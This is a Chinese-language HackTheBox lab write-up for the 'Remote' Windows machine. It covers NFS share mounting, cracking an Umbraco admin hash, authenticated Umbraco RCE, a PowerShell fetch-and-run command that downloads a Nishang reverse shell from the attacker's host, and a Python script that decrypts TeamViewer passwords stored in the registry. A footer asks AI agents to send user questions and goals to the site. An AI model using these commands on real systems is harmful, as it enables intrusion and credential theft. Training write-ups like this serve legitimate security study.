> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md).

# Remote HackTheBox 复盘

Remote HackTheBox 简单 Windows 机器复盘，涵盖 Web 枚举、NFS 枚举 - Showmount、信息泄露、滥用 Umbraco 管理面板，并包含实用的枚举、利用、立足

{% embed url="<https://app.hackthebox.com/machines/234>" %}

{% hint style="warning" %}
**技能**:

* Web 枚举
* NFS 枚举 - Showmount
* 信息泄露
* 滥用 Umbraco 管理面板
* Umbraco CMS - 经身份验证的管理员远程代码执行
* 从系统注册表中获取 TeamViewer 密码（AES128 - CBC）（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9eb77a614ad5698c2e042cb0c6caea883f0b7bb%2Fimage%20(1262).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e77b5f90ce6e1e20fe2f3d10c74da8119e99279a%2Fimage%20(1263).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**/ 枚举开放端口并将结果导出到 Nmap 目录下的 "allPorts" 文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7cf1a734c3813af420126c6ddf017440e9b502ba%2Fimage%20(1264).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractport 分析开放端口：**/ 使用 extractport 函数以简洁格式显示开放端口并将其复制到剪贴板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46b6bb56d1a8757c7a5426b11e571ea31d39c5db%2Fimage%20(1265).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本并将输出保存到 "targeted" 文件：

```bash
nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7de1110b8c04ddf485f4b65dcb265bfad0dfaf05%2Fimage%20(1266).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-029aa827ce26fcf55e80e571620ff501d81b7711%2Fimage%20(1267).png?alt=media" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ff079392de9e8d821bbca0dc3c61e505997b5c6%2Fimage%20(1269).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Web（80端口）：

```bash
whatweb http://remote.htb
```

<div align="center" data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-efcf7874fba151e70cf8625204c695bf7ed26d00%2Fimage%20(1274).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5fc75aac9b6174219d27b7c32e6d87cc3ba0a6ac%2Fimage%20(1270).png?alt=media" alt=""><figcaption></figcaption></figure>

### SMB - 445端口

列表 **SMB：**

```bash
crackmapexec smb 10.10.10.180
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb5a2740fe0b1db4532881c6c81084660cf29a0c%2Fimage%20(1271).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **SMB 客户端（空会话）：**

```bash
smbclient -L 10.10.10.180 -N
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6c66627e0db7459b25b2c63779994cae7e9c157%2Fimage%20(1272).png?alt=media" alt=""><figcaption></figcaption></figure>

### FTP（21端口）匿名

我们可以使用匿名用户通过 FTP 连接，但既无法列出文件，也无法添加文件。

```bash
ftp 10.10.10.180

put test.txt
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99d2b1c2173acfe5dfd52c0262923b39a7e23b37%2Fimage%20(1273).png?alt=media" alt=""><figcaption></figcaption></figure>

## NFS 服务（2049端口）

{% hint style="info" %}
网络文件系统（NFS）是一种 OSI 应用层协议。它用于在本地网络中创建分布式文件系统，使不同的连接系统可以像访问本地文件一样访问远程文件。
{% endhint %}

要列出文件，使用 `mount`:

```bash
showmount -e 10.10.10.180
```

我们看到一个 `/site_backups` 任何人都可以看到。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3013ccfa8ce6a51ae041c36ba54599a3c9c4377d%2Fimage%20(1275).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

要导入此文件，你必须创建一个目录并将其挂载到我们的机器上，如下所示：

```bash
mkdir /mnt/mounted_files

mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3a0b12cd5a2e1bb19524f08a2de43fbc8ee96b3%2Fimage%20(1276).png?alt=media" alt=""><figcaption></figcaption></figure>

通过 `tree`，我们将列出该框架中的所有文件夹，以便了解概况：

```
tree -L 2
```

我们看到一个 `.config` 配置和 `sdf` 来自 80 端口上 Umbraco 数据库（一个 CMS）的文件夹。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d15f7a5e695cdb9ff15972b563fbc06db4593708%2Fimage%20(1278).png?alt=media" alt=""><figcaption></figcaption></figure>

该 `.conf` 文件中没有什么有趣的内容，而 `umbraco.sdf` 是一个二进制文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22c1ff968b7c2ee0c6041d3797c74d133384b944%2Fimage%20(1279).png?alt=media" alt=""><figcaption></figcaption></figure>

我们将使用 `strings` 显示可见字符，并将它们放入我们的目录中以进行详细分析：

```bash
strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output
```

我们找到了“admin”密码和一个“smith”用户。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1056720a69f7d25bd03de7388a145be0c72ee493%2Fimage%20(1281).png?alt=media" alt=""><figcaption></figcaption></figure>

### 密码破解：

Admin（哈希）： `b8be16afba8c314ad33d812f22a04991b90e2aaa`

{% embed url="<https://crackstation.net/>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fd715af91b9c490b397e793de31930e9b7b5a09%2Fimage%20(1282).png?alt=media" alt=""><figcaption></figcaption></figure>

Admin： `baconandcheese`

#### 由于 SMB 已暴露，使用 CrackMapExec 进行身份验证并验证访问权限

```bash
crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese'
crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese'
```

#### 无效

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5dabd6349cdd6766e470751ab3fd107c4cfaa356%2F%7B9A568C00-E4DD-4EBF-B476-5DF9D0C1C44A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## RCE 漏洞（Umbraco CMS）

我们找到了一个管理面板，并将尝试管理员用户认证：

`admin@htb.local:baconandcheese`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22e4c3037bbc2ea43e9427f33176d04d20f14bec%2F%7B382433B0-312E-419C-A5C0-176F5F8BF31F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们已获得访问权限。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0695a07f5d3034450976414deb97ff9e30b6e41c%2Fimage%20(1283).png?alt=media" alt=""><figcaption></figcaption></figure>

我们将搜索 `Searchsploit` 该 CMS 的漏洞，并找到一个用于 Umbraco 的 NCE 脚本。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4861f5edf285f8ed06657d0527b9dd92c4af4c1b%2Fimage%20(1284).png?alt=media" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

我们将修改脚本中的登录名、密码和主机设置。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66f812a30c825a01f92d3bad53550e2471cfb4de%2Fimage%20(1288).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 ping 检查连通性：**/ 我们将在服务器上执行此命令，并使用 tcpdump 监听

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29956d5cf155c3ffdbf55eeb11db81f4c92b6b63%2Fimage%20(1290).png?alt=media" alt=""><figcaption></figcaption></figure>

一旦确认我们可以执行命令，我们将下载 `PS.ps1` 脚本到我们的主机。

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

在脚本末尾，我们添加以下一行：

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c334d136657545563678f55753a2341b710a2d44%2Fimage%20(1291).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

我们将使用以下 `PS.ps1` 脚本：

```bash
python3 -m http.server 80
```

然后我们将修改命令，使其指向我们的 Web 服务器：

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

最后，我们监听 4444 端口：

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3fd51dbd5bf6ae4f920c68f20579e60c91d281f%2Fimage%20(1292).png?alt=media" alt=""><figcaption></figcaption></figure></div>

访问 `user.txt` 文件，并发现已安装 TeamViewer

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2495988c926b68ba82fa48f54642d952030b8ff3%2Fimage%20(1293).png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升：

查看正在运行的任务，可以看到 TeamViewer 7 版。

```powershell
tasklist /svc
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ac905888e45a0e531118380c96ee7441adad4c7%2Fimage%20(1255).png?alt=media" alt=""><figcaption></figcaption></figure>

在 Metasploit 脚本中搜索后，我们找到一个可以获取 TeamViewer 密码的脚本：

```powershell
locate teamviewer | grep metasploit
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6577ee0c3a024fc9d67c3f0b25dcbbd77b5816b0%2Fimage%20(1256).png?alt=media" alt=""><figcaption></figcaption></figure>

分析该脚本时，你必须首先从注册表中获取密钥（取决于版本）：

`HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version`

接下来，应检查安全属性，尤其是 AES 密码：

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7

(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69a735ebeb72f9e681e299b4035dcb194e3e4832%2Fimage%20(1257).png?alt=media" alt=""><figcaption></figcaption></figure>

将以下字节放入 `密文`:

`255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91`

### Python 自动化脚本：

以下是自动化整个过程的脚本：

```python
from itertools import product
from Crypto.Cipher import AES 
import Crypto.Cipher.AES

IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04"
key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00"


decipher = AES.new(key,AES.MODE_CBC,IV)
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])


plaintext = decipher.decrypt(ciphertext).decode()
print(plaintext)
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e5bfb9ed51c96619042331386a7f15a0b76af2f%2Fimage%20(1258).png?alt=media" alt=""><figcaption></figcaption></figure>

密码是 `!R3m0te!`.

我们将使用 CrackMapExec 检查该密码是否对该用户有效 `Administrator`:

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8533576997d311288c461c31dacc668ac6ce10f%2Fimage%20(1259).png?alt=media" alt=""><figcaption></figcaption></figure>

我们使用 Evil-WinRM 进行连接，因为远程 Windows 管理服务在 5985 端口上处于活动状态：

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
</strong></code></pre>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae1f3a6bf95f3b368137fa0996381b6dd29dc8f5%2Fimage%20(1260).png?alt=media" alt=""><figcaption></figcaption></figure>

### 最终 root Flag :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-27e43b784ae306b73d668a712ced88bacbc13dfd%2Fimage%20(1261).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fbc44f23ca7f30bd5e77ffa2d7d90304d0de1ef0%2F%7B39DC4A55-52D4-4DB7-B206-C48C813FBAE9%7D.png?alt=media" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
